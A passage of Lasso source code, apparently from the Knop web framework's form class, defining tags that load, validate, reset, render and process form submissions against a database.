find('filter')) -> run(-params=(#fieldpair -> value -> find('value'))));\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/iterate;\n\t\t\n\t\t// capture keyvalue or lockvalue if we have a database object connected to the form\n\t\tif: (self -> 'database') -> type == 'database';\n\t\t\t//(self -> 'db_keyvalue') = null;\n\t\t\t//(self -> 'db_lockvalue') = null;\n\t\t\tif: (self -> 'fieldsource') == 'database';\n\t\t\t\tif: (self -> 'database') -> lockfield != '' && (self -> 'database') -> lockvalue != '';\n\t\t\t\t\t(self -> 'db_lockvalue') = (self -> 'database') -> lockvalue_encrypted;\n\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing lockvalue from database ' + (self -> 'db_lockvalue'));\n\t\t\t\telse: (self -> 'database') -> keyfield != '' && (self -> 'database') -> keyvalue != '';\n\t\t\t\t\t(self -> 'db_keyvalue') = (self -> 'database') -> keyvalue;\n\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from database ' + (self -> 'db_keyvalue'));\n\t\t\t\t/if;\n\t\t\telse;\n\t\t\t\tif: #_params >> '-lockvalue';\n\t\t\t\t\tif: #_params -> type == 'map';\n\t\t\t\t\t\t(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) ) != '' \n\t\t\t\t\t\t\t? (#_params -> (find: '-lockvalue' ) ) | null);\n\t\t\t\t\telse;\n\t\t\t\t\t\t(self -> 'db_lockvalue')=((#_params -> (find: '-lockvalue' ) -> first -> value) != '' \n\t\t\t\t\t\t\t? (#_params -> (find: '-lockvalue' ) -> first -> value) | null);\n\t\t\t\t\t/if;\n\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing lockvalue from form ' + (self -> 'db_lockvalue'));\n\t\t\t\telse: #_params >> (self -> 'keyparamname');\n\t\t\t\t\tif: #_params -> type == 'map';\n\t\t\t\t\t\t(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) ) != '' \n\t\t\t\t\t\t\t? (#_params -> (find: (self -> 'keyparamname') ) ) | null);\n\t\t\t\t\telse;\n\t\t\t\t\t\t(self -> 'db_keyvalue')=((#_params -> (find: (self -> 'keyparamname') ) -> first -> value) != '' \n\t\t\t\t\t\t\t? (#_params -> (find: (self -> 'keyparamname') ) -> first -> value) | null);\n\t\t\t\t\t/if;\n\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing keyvalue from form ' + (self -> 'db_keyvalue'));\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\tif: (self -> 'db_lockvalue') == '' && (self -> 'db_keyvalue') == '';\n\t\t\t\t// we have no keyvalue or lockvalue - this must be an add operation\n\t\t\t\t(self -> 'formmode') = 'add';\n\t\t\t\t// create a keyvalue for the record to add\n\t\t\t\t(self -> 'db_keyvalue') = knop_unique;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': generating keyvalue ' + (self -> 'db_keyvalue'));\n\t\t\telse: (self -> formmode) == '';\n\t\t\t\t(self -> 'formmode') = 'edit';\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': formmode ' + (self -> formmode));\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'clearfields', -description='Emtpies all form field values';\n\t\tlocal: 'timer'=knop_timer; \n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\tif: (self -> 'exceptionfieldtypes') !>> #fieldpair -> value -> (find: 'type');\n\t\t\t\t// && (map: 'legend', 'fieldset', 'html') !>> #fieldpair -> value -> (find: 'type');\n\t\t\t\t// first remove value to break reference\n\t\t\t\t(#fieldpair -> value) -> (remove: 'value');\n\t\t\t\t(#fieldpair -> value) -> (insert: 'value'='');\n\t\t\t/if;\n\t\t/iterate;\t\n\t\tif: (self -> 'database') -> type == 'database';\n\t\t\t(self -> 'db_keyvalue') = null;\n\t\t\t(self -> 'db_lockvalue') = null;\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'resetfields', -description='Resets all form field values to their initial values';\n\t\tlocal: 'timer'=knop_timer; \n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\tif: (self -> 'exceptionfieldtypes') !>> #fieldpair -> value -> (find: 'type');\n\t\t\t\t//&& (map: 'legend', 'fieldset', 'html') !>> #fieldpair -> value -> (find: 'type');\n\t\t\t\t// first remove value to break reference\n\t\t\t\t(#fieldpair -> value) -> (remove: 'value');\n\t\t\t\t(#fieldpair -> value) -> (insert: 'value'=#fieldpair -> value -> (find: 'defaultvalue'));\n\t\t\t/if;\n\t\t/iterate;\t\n\t\tif: (self -> 'database') -> type == 'database';\n\t\t\t(self -> 'db_keyvalue') = null;\n\t\t\t(self -> 'db_lockvalue') = null;\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'validate', -description='Performs validation and fills a transient array with field names that have input errors. \\\n\t\t\t\t form -> loadfields must be called first.';\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\t// Performs validation and fills a transient array with field names that have input errors.\n\t\t// Must call -> loadfields first\n\t\tif: (self -> 'errors') == null;\n\t\t\t// initiate the errors array so we know validate has been performed\n\t\t\t(self -> 'errors') = array;\n\t\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\t\tif: !( (self -> 'exceptionfieldtypes') >> #fieldpair -> value -> (find: 'type') );\n\t\t\t\t\tif: (#fieldpair -> value -> (find: 'required') ) \n\t\t\t\t\t\t&& (#fieldpair -> value -> (find: 'value') ) == '';\n\t\t\t\t\t\t(self -> 'errors') -> (insert: (#fieldpair -> value -> (find: 'name') ));\n\t\t\t\t\t/if;\n\t\t\t\t\tif(#fieldpair -> value -> find('validate') -> isa('tag'));\n\t\t\t\t\t\t// perform validation expression on the field value\n\t\t\t\t\t\tlocal('result'=(#fieldpair -> value -> find('validate')) -> run(-params=#fieldpair -> value -> find('value')));\n\t\t\t\t\t\tif(#result === true || #result === 0);\n\t\t\t\t\t\t\t// validation was ok\n\t\t\t\t\t\telse(#result != 0 || #result -> size);\n\t\t\t\t\t\t\t// validation result was an error code or message\n\t\t\t\t\t\t\t(self -> 'errors') -> insert(#fieldpair -> value -> find('name') = #result);\n\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t(self -> 'errors') -> insert(#fieldpair -> value -> find('name'));\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t/if;\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': form is valid ' + ((self -> 'errors') -> size == 0));\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'isvalid', -description='Returns the result of form -> validate (true/false) without performing the validation again (unless it hasn\\'t been performed already)';\n\t\tlocal: 'timer'=knop_timer; \n\t\t// Returns the result of -> validate (true/false) without performing the validation again (unless it is needed)\n\t\t(self -> 'errors') == null ? self -> validate;\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': form is valid ' + ((self -> 'errors') -> size == 0));\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: (self -> 'errors') -> size == 0;\n\t/define_tag;\n\n\n\tdefine_tag: 'adderror', -description='adds the name for a field that has validation error, used for custom field validation. \\\n\t\t\t\tcalls form -> validate first if needed',\n\t\t-required='fieldname';\n\t\tlocal: 'timer'=knop_timer; \n\t\t// adds a field that has error\n\t\t// calls ->validate first if needed, to make sure self -> 'errors' is an array\n\t\t(self -> 'errors') == null ? self -> validate;\n\t\t(self -> 'errors') -> (insert: #fieldname);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag: 'errors', -description='Returns an array with fields that have input errors, or empty array if no errors or form has not been validated';\n\t\t// returns an array with fields that have input errors, or emtpy array if no errors or form has not been validated\n\t\tif: (self -> 'errors') == null;\n\t\t\treturn: array;\n\t\telse;\n\t\t\treturn: (self -> 'errors');\n\t\t/if;\n\t/define_tag;\n\n\n\n\tdefine_tag: 'updatefields', -description='Returns a pair array with fieldname=value, or optionally SQL string to be used in an update inline.\\\n\t\tform -> loadfields must be called first.\\n\\\n\t\tParameters:\\n\\\n\t\t-sql (optional)\\n\\\n\t\t-removedotbackticks (optional flag) Use with -sql for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.',\n\t\t-optional='sql',\n\t\t-optional='removedotbackticks';\n\t\tlocal: 'timer'=knop_timer; \n\t\t// Returns a pair array with fieldname=value, or optionally SQL string to be used in an update inline. Optionally use -removedotbackticks with -sql for backward compatibility with fields that contain periods.\n\t\t// Must call ->loadfields first.\n\t\tlocal: 'output'=array,\n\t\t\t'_sql'=(local_defined: 'sql'),\n\t\t\t'_removedotbackticks'=(local_defined: 'removedotbackticks'),\n\t\t\t'fieldvalue'=null, 'onevalue'=null;\n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\tif: !( (self -> 'exceptionfieldtypes') >> #fieldpair -> value -> (find: 'type') )\n\t\t\t\t&& !(#fieldpair -> value -> (find: 'name') -> (beginswith: '-'))\n\t\t\t\t&& (#fieldpair -> value -> (find: 'dbfield')) != '';\n\t\t\t\t// don't use submit etc and exclude fields whose name begins with -\n\t\t\t\t#fieldvalue = (#fieldpair -> value -> (find: 'value') );\n\t\t\t\tif: #fieldvalue -> type != 'array';\n\t\t\t\t\t// to support multiple values for one fieldname, like checkboxes\n\t\t\t\t\t#fieldvalue = array: #fieldvalue;\n\t\t\t\t/if;\n\t\t\t\tif: #_sql;\n\t\t\t\t\tif(#_removedotbackticks);\n\t\t\t\t\t\t#output -> (insert:  '`' + (encode_sql(knop_stripbackticks(#fieldpair -> value -> find('dbfield'))) ) + '`' \n\t\t\t\t\t\t\t+ '=\"' + (encode_sql: (#fieldvalue -> (join: ',')) ) + '\"');\n\t\t\t\t\telse;\n\t\t\t\t\t\t#output -> (insert:  '`' + (encode_sql(string_replace(knop_stripbackticks(#fieldpair -> value -> find('dbfield')), -find='.', -replace='`.`')) ) + '`' \n\t\t\t\t\t\t+ '=\"' + (encode_sql: (#fieldvalue -> (join: ',')) ) + '\"');\n\t\t\t\t\t/if;\n\t\t\t\telse;\n\t\t\t\t\titerate: #fieldvalue, #onevalue;\n\t\t\t\t\t\t#output -> (insert:  (#fieldpair -> value -> (find: 'dbfield') ) \n\t\t\t\t\t\t\t= #onevalue );\n\t\t\t\t\t/iterate;\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/iterate;\n\t\tif: #_sql;\n\n\t\t\t#output = '(' + #output -> (join: ',') + ')';\n\n\t\t/if;\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t\t\n\t/define_tag;\n\t\n\t\n\tdefine_tag: 'getbutton', -description='Returns what button was clicked on the form on the previous page. Assumes that submit buttons are named button_add etc. \\\n\t\t\t\tReturns add, update, delete, cancel or any custom submit button name that begins with button_.';\n\t\tlocal: 'timer'=knop_timer; \n\t\tif: (self -> 'formbutton') != '';\n\t\t\t// we have already found out once what button was clicked\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': cached ' + (self -> 'formbutton'));\n\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\treturn: (self -> 'formbutton');\n\t\t/if;\n\t\tlocal: 'clientparams'=client_getparams;\n\t\t#clientparams -> (merge: client_postparams);\n\t\t// look for submit buttons, the least destructive first\n\t\titerate: (array: 'cancel', 'save', 'add', 'delete'), (local: 'buttonname');\n\t\t\tif: #clientparams >> 'button_' + #buttonname \n\t\t\t\t|| #clientparams >> 'button_' + #buttonname + '.x'\n\t\t\t\t|| #clientparams >> 'button_' + #buttonname + '.y';\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': built-in button name ' + #buttonname);\n\t\t\t\t(self -> 'formbutton') = #buttonname;\n\t\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\t\treturn: #buttonname;\n\t\t\t/if;\n\t\t/iterate;\n\t\t// no button found yet - look for custom button names\n\t\titerate: #clientparams, #buttonname;\n\t\t\t#buttonname -> type == 'pair' ? #buttonname =  #buttonname -> name;\n\t\t\tif: #buttonname -> (beginswith: 'button_');\n\t\t\t\t#buttonname -> (removeleading: 'button_') & (removetrailing: '.x') & (removetrailing: '.y');\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': custom button name ' + #buttonname);\n\t\t\t\t(self -> 'formbutton') = #buttonname;\n\t\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\t\treturn: #buttonname;\n\t\t\t/if;\n\t\t/iterate;\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': No button found');\n\t/define_tag;\n\t\n\tdefine_tag: 'process', -description='Automatically handles a form submission and handles add, update, or delete. \\\n\t\t\t\tRequires that a database object is specified for the form',\n\t\t-optional='user',\n\t\t-optional='lock',\n\t\t-optional='keyvalue';\n\t\tlocal: 'timer'=knop_timer; \n\t\tfail_if: (self -> 'database') -> type != 'database', 7103, self -> error_msg(7103);\n\n\t\t(self -> 'error_code') = 0;\n\t\t(self -> 'error_msg') = string;\n\t\t\n\t\tif: self -> getbutton == 'cancel';\n\t\t\t// do nothing at all\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': cancelling ');\n\t\t\t\n\t\telse: self -> getbutton == 'save';\n\t\t\tself -> loadfields;\n\t\t\tif: self -> isvalid;\n\t\t\t\tif: (local_defined: 'user') && (self -> lockvalue) != '';\n\t\t\t\t\t(self -> database) -> (saverecord: (self -> updatefields), -lockvalue=(self -> lockvalue), -keyvalue=(self -> keyvalue), -user=#user);\n\t\t\t\telse;\n\t\t\t\t\t(self -> database) -> (saverecord: (self -> updatefields), -keyvalue=(self -> keyvalue));\n\t\t\t\t/if;\n\t\t\t\tif: self -> database -> error_code != 0;\n\t\t\t\t\t(self -> 'error_code') = self -> database -> error_code;\n\t\t\t\t\t(self -> 'error_msg') = 'Process: update record error ' + (self -> database -> error_msg);\n\t\t\t\t/if;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': updating record ' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));\n\t\t\telse;\n\t\t\t\t(self -> 'error_code') = 7101; // Process: update record did not pass form validation\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': update record did not pass form validation');\n\t\t\t/if;\n\t\t\n\t\telse: self -> getbutton == 'add';\n\t\t\tself -> loadfields;\n\t\t\tif: self -> isvalid;\n\t\t\t\t(self -> database) -> (addrecord: (self -> updatefields), -keyvalue=(self -> keyvalue));\n\t\t\t\tif: self -> database -> error_code != 0;\n\t\t\t\t\t(self -> 'error_code') = self -> database -> error_code;\n\t\t\t\t\t(self -> 'error_msg') = 'Process: add record error ' + (self -> database -> error_msg);\n\t\t\t\t/if;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': adding record ' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));\n\t\t\telse;\n\t\t\t\t(self -> 'error_code') = 7101; // Process: add record did not pass form validation\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': add record did not pass form validation');\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': reverting form mode to add');\n\t\t\t/if;\n\n\t\telse: self -> getbutton == 'delete';\n\t\t\tself -> loadfields;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': will delete record with keyvalue ' + (self -> keyvalue) + ' lockvalue ' + (self -> lockvalue));\n\t\t\tif: (local_defined: 'user') && (self -> lockvalue) != '';\n\t\t\t\t(self -> database) -> (deleterecord: -lockvalue=(self -> lockvalue), -keyvalue=(self -> keyvalue), -user=#user);\n\t\t\telse;\n\t\t\t\t(self -> database) -> (deleterecord: -keyvalue=(self -> keyvalue));\n\t\t\t/if;\n\t\t\tif: self -> database -> error_code == 0;\n\t\t\t\tself -> resetfields;\n\t\t\telse;\n\t\t\t\t(self -> 'error_code') = self -> database -> error_code;\n\t\t\t\t(self -> 'error_msg') = 'Process: delete record error ' + (self -> database -> error_msg);\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': deleting record ' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));\n\t\telse: false;\n\t\t\t// do not go here, database record should be loaded with a separate call\n\t\t\tif: (local_defined: 'lock');\n\t\t\t\tself -> database ->(getrecord: (local: 'keyvalue'), -lock, -user=#user);\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': loading record using lock' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));\n\t\t\telse;\n\t\t\t\tself -> database ->(getrecord: (local: 'keyvalue'), -user=#user);\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': loading record' + (self -> database -> error_msg) + ' ' + (self -> database -> error_code));\n\t\t\t/if;\n\t\t\tself -> (loadfields: -inlinename=(self -> database -> inlinename));\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'setformat', -description='Defines a html template for the form. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-template (optional string) html template, defaults to #label# #field##required#<br>\\n\\\n\t\t\t-buttontemplate (optional string) html template for buttons, defaults to #field#\\n\\\n\t\t\t-required (optional string) character(s) to display for required fields (used for #required#), defaults to *\\n\\\n\t\t\t-legend (optional string) legend for the entire form - if specified, a fieldset will also be wrapped around the form\\n\\\n\t\t\t-class (optional string) css class name that will be used for the form element, default none\\n\\\n\t\t\t-errorclass (optional string) css class name that will be used for the label to highlight input errors, if not defined style=\"color: red\" will be used\\n\\\n\t\t\t-unsavedmarker (optional string) \\n\\\n\t\t\t-unsavedmarkerclass (optional string) \\n\\\n\t\t\t-unsavedwarning (optional string)',\n\t\t-optional='template', -type='string',\n\t\t-optional='buttontemplate', -type='string',\n\t\t-optional='required', -type='string',\n\t\t-optional='legend', -type='string',\n\t\t-optional='class', -type='string',\n\t\t-optional='errorclass', -type='string',\n\t\t-optional='unsavedmarker', -type='string',\n\t\t-optional='unsavedmarkerclass', -type='string',\n\t\t-optional='unsavedwarning', -type='string';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal_defined('template') ? (self -> 'template') = #template;\n\t\tlocal_defined('buttontemplate') ? (self -> 'buttontemplate') = #buttontemplate;\n\t\tlocal_defined('required') ? (self -> 'required') = #required;\n\t\tlocal_defined('legend') ? (self -> 'legend') = #legend;\n\t\tlocal_defined('class') ? (self -> 'class') = #class;\n\t\tlocal_defined('errorclass') ? (self -> 'errorclass') = #errorclass;\n\t\tlocal_defined('unsavedmarker') ? (self -> 'unsavedmarker') = #unsavedmarker;\n\t\tlocal_defined('unsavedmarkerclass') ? (self -> 'unsavedmarkerclass') = #unsavedmarkerclass;\n\t\tlocal_defined('unsavedwarning') ? (self -> 'unsavedwarning') = #unsavedwarning;\n\n\t\tif: local_defined: 'unsavedwarning';\n\t\t\t// escape quotes for javascript\n\t\t\t(self -> 'unsavedwarning') -> (replace: '\\'', '\\\\\\'');\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag: 'renderform', -description='Outputs HTML for the form fields, a specific field, a range of fields or all fields of a specific type. \\\n\t\t\tAlso inserts all needed javascripts into the page. \\\n\t\t\tUse form -> setformat first to specify the html format, otherwise default format #label# #field##required#<br> is used. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-name (optional) Render only the specified field\\n\\\n\t\t\t-from (optional) Render form fields from the specified number index or field name. Negative number count from the last field.\\n\\\n\t\t\t-to (optional) Render form fields to the specified number index or field name. Negative number count from the last field.\\n\\\n\t\t\t-type (optional) Only render fields of this or these types (string or array)\\n\\\n\t\t\t-excludetype (optional) Render fields except of this or these types (string or array)\\n\\\n\t\t\t-legend (optional) Groups the rendered fields in a fieldset and outputs a legend for the fieldset\\n\\\n\t\t\t-start (optional) Only render the starting <form> tag\\n\\\n\t\t\t-end (optional) Only render the ending </form> tag\\n\\\n\t\t\t-xhtml (optional flag) XHTML valid output',\n\t\t-optional='name', -copy, \t// field name\n\t\t-optional='from', -copy, \t// number index or field name\n\t\t-optional='to', -copy, \t\t// number index or field name\n\t\t-optional='type', -copy,\t// only output fields of this or these types (string or array)\n\t\t-optional='excludetype', -copy,\t// output fields except of this or these types (string or array)\n\t\t-optional='legend',\t\t\t// groups the rendered fields in a fieldset and outputs a legend for the fieldset\n\t\t-optional='start',\t\t\t// only output the starting <form> tag\n\t\t-optional='end',\t\t\t// only output the ending </form> tag\n\t\t-optional='xhtml';\t\t\t// boolean, if set to true adjust output for XHTML\n\t\tlocal: 'timer'=knop_timer; \n\t\thandle;knop_debug('Done with ' + self->type + ' -> ' + tag_name, -time, -type=self->type);/handle;\n\t\t\n\t\t// Outputs HTML for the form fields\n\t\t\n\t\t/*\n\t\t\tTODO: \n\t\t\tHandling of multiple fields with the same name\n\t\t*/\n\t\tlocal: 'output'=string, \n\t\t\t'onefield'=map, \n\t\t\t'renderfield'=string, \n\t\t\t'renderfield_base'=string, \n\t\t\t'renderrow'=string,\n\t\t\t'formid'=null,\n\t\t\t'usehint'=array,\n\t\t\t'nowarning'=false,\n\t\t\t'fieldtype',\n\t\t\t'fieldvalue'=string,\n\t\t\t'fieldvalue_array'=array,\n\t\t\t'options'=array,\n\t\t\t'focusfield';\n\n\t\tlocal: 'clientparams'=client_getparams;\n\t\t#clientparams -> (merge: client_postparams);\n\t\t#clientparams -> (removeall: (self -> 'keyparamname'));\n\t\t#clientparams -> (removeall: '-lockvalue');\n\t\t#clientparams -> (removeall: '-action');\n\t\t#clientparams -> (removeall: '-xhtml');\n\n\t\t// local var that adjust tag endings if rendered for XHTML\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\n\t\t// page var to keep track of the number of forms that has been rendered on a page\n\t\tif: !(var_defined: 'knop_form_renderform_counter');\n\t\t\tvar: 'knop_form_renderform_counter'=0;\n\t\t/if;\n\t\t\n\t\t$knop_form_renderform_counter += 1;\n\n\t\tif: (self -> 'id') != '';\n\t\t\t#formid = (self -> 'id');\n\t\telse: (self -> 'name') != '';\n\t\t\t#formid = (self -> 'name');\n\t\telse;\n\t\t\t#formid = 'form' + $knop_form_renderform_counter;\n\t\t/if;\n\t\t\n\t\t\n\t\tlocal: 'renderformStartTag'=false, 'renderformEndTag'=false;\n\t\t// remove params that should not stop formstarttag and formendtag from rendering\n\t\tparams -> type == 'array' ? params -> (removeall: '-legend') & (removeall: '-xhtml');\n\t\tif: (self -> 'formaction') != null \n\t\t\t&& (params -> size == 0 || (local_defined: 'start') );\n\t\t\t#renderformStartTag=true;\n\t\t/if;\n\t\tif: (self -> 'formaction') != null \n\t\t\t&& (params -> size == 0 || (local_defined: 'end') );\n\t\t\t#renderformEndTag=true;\n\t\t/if;\n\t\tif: #renderformStartTag;\n\t\t\t// render opening form tag\n\n\t\t\t#output +='<form';\n\t\t\t(self -> 'debug_trace') -> insert(tag_name + ': formaction = ' + (self -> 'formaction'));\n\t\t\tif: (self -> 'formaction') != null;\n\t\t\t\t#output += ' action=\"' + (self -> 'formaction');\n\t\t\t\tif: (self -> 'method') == 'post' && !(self -> 'noautoparams');\n\t\t\t\t\tlocal: 'actionparams'=array;\n\t\t\t\t\titerate: #clientparams, (local: 'clientparam');\n\t\t\t\t\t\tif: #clientparam -> type == 'pair';\n\t\t\t\t\t\t\tif: #clientparam -> name -> (beginswith: '-') \n\t\t\t\t\t\t\t    && !(#clientparam -> name -> (beginswith: '-upload.'))\n\t\t\t\t\t\t\t    && !(#clientparam -> name -> (beginswith: '-upload2.'))\n\t\t\t\t\t\t\t\t&& #clientparam -> name != '-session'\n\t\t\t\t\t\t\t\t&& (self -> 'fields') !>> #clientparam -> name\n\t\t\t\t\t\t\t\t// check if param name appears in form action\n\t\t\t\t\t\t\t\t// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like \".\"\n\t\t\t\t\t\t\t\t&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['\n\t\t\t\t\t\t\t\t\t+ ((#clientparam -> name) -> (split: '') -> (join: '][')) \n\t\t\t\t\t\t\t\t\t+ ']([&=]|$)', -ignorecase) -> size == 0;\n\t\t\t\t\t\t\t\t#actionparams -> (insert: (#clientparam -> name) + '=' + (encode_url: (#clientparam -> value)) );\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\telse: #clientparam -> type == 'string' \n\t\t\t\t\t\t\t&& #clientparam -> (beginswith: '-') \n\t\t\t\t\t\t\t&& (self -> 'fields') !>> #clientparam\n\t\t\t\t\t\t\t// check if param appears in form action\n\t\t\t\t\t\t\t// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like \".\"\n\t\t\t\t\t\t\t&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['\n\t\t\t\t\t\t\t\t+ (#clientparam -> (split: '') -> (join: '][')) \n\t\t\t\t\t\t\t\t+ ']([&=]|$)', -ignorecase) -> size == 0;\n\t\t\t\t\t\t\t#actionparams -> (insert: #clientparam );\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/iterate;\n\t\t\t\t\tif: #actionparams -> size;\n\t\t\t\t\t\t#output += ((self -> 'formaction') >> '?' ? '&amp;' | '?' ) + #actionparams -> (join: '&amp;');\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\t#output += '\"';\n\t\t\t/if;\n\t\t\t(self -> 'method') != null\t\t? #output += ' method=\"' + (self -> 'method') + '\"';\n\t\t\t(self -> 'name') != null\t\t? #output += ' name=\"' + (self -> 'name') + '\"';\n\t\t\t#output += ' id=\"' + #formid + '\"';\n\t\t\t(self -> 'class') != null\t\t? #output += ' class=\"' + (self -> 'class') + '\"';\n\t\t\t(self -> 'enctype') != ''\t\t? #output += ' enctype=\"' + (self -> 'enctype') + '\"';\n\t\t\t(self -> 'raw') != null\t\t\t? #output += ' ' + (self -> 'raw');\n\t\t\t!(self -> 'noscript') ? #output += ' onsubmit=\"return validateform(this)\"';\n\t\t\t(self -> 'entersubmitblock') && !(self -> 'noscript')\t? #output += ' onkeydown=\"return submitOk(event);\" onfocus=\"submitBlock=true; return true;\" onblur=\"submitBlock=false; return true;\"';\n\t\t\t#output += '>\\n';\n\n\n\t\t\tif: (self -> 'actionpath') != '' \n\t\t\t\t&& !(self -> 'noautoparams') \n\t\t\t\t&& (self -> 'fields') !>> '-action';\n\t\t\t\t// auto-add -action unless there is already an -action field in the form\n\t\t\t\t#output += '<input type=\"hidden\" name=\"-action\" value=\"' + (encode_html: (self -> 'actionpath')) + '\"' + #endslash + '>\\n';\n\t\t\t/if;\n\t\t\tif: (self -> 'fieldset');\n\t\t\t\t#output += '<fieldset>\\n';\n\t\t\t\t#output +='<legend>' + (self -> 'legend') + '</legend>\\n';\n\t\t\t/if;\n\t\t\tif: (self -> 'method') == 'get' && !(self -> 'noautoparams');\n\t\t\t\titerate: #clientparams, (local: 'clientparam');\n\t\t\t\t\tif: #clientparam -> type == 'pair';\n\t\t\t\t\t\tif: #clientparam -> name -> (beginswith: '-')\n\t\t\t\t\t\t\t&& #clientparam -> name != '-session'\n\t\t\t\t\t\t\t&& (self -> 'fields') !>> #clientparam -> name\n\t\t\t\t\t\t\t// check if param name appears in form action\n\t\t\t\t\t\t\t// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like .\n\t\t\t\t\t\t\t&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['\n\t\t\t\t\t\t\t\t+ ((#clientparam -> name) -> (split: '') -> (join: '][')) \n\t\t\t\t\t\t\t\t+ ']([&=]|$)', -ignorecase) -> size == 0;\n\t\t\t\t\t\t\t#output += '<input type=\"hidden\" name=\"' + (#clientparam -> name) + '\" value=\"' + (encode_html: (#clientparam -> value)) + '\"' + #endslash + '>\\n';\n\t\t\t\t\t\t/if;\n\t\t\t\t\telse: #clientparam -> type == 'string' \n\t\t\t\t\t\t&& #clientparam -> (beginswith: '-')\n\t\t\t\t\t\t&& (self -> 'fields') !>> #clientparam\n\t\t\t\t\t\t// check if param appears in form action\n\t\t\t\t\t\t// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like .\n\t\t\t\t\t\t&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['\n\t\t\t\t\t\t\t+ (#clientparam -> (split: '') -> (join: ']['))\n\t\t\t\t\t\t\t+ ']([&=]|$)', -ignorecase) -> size == 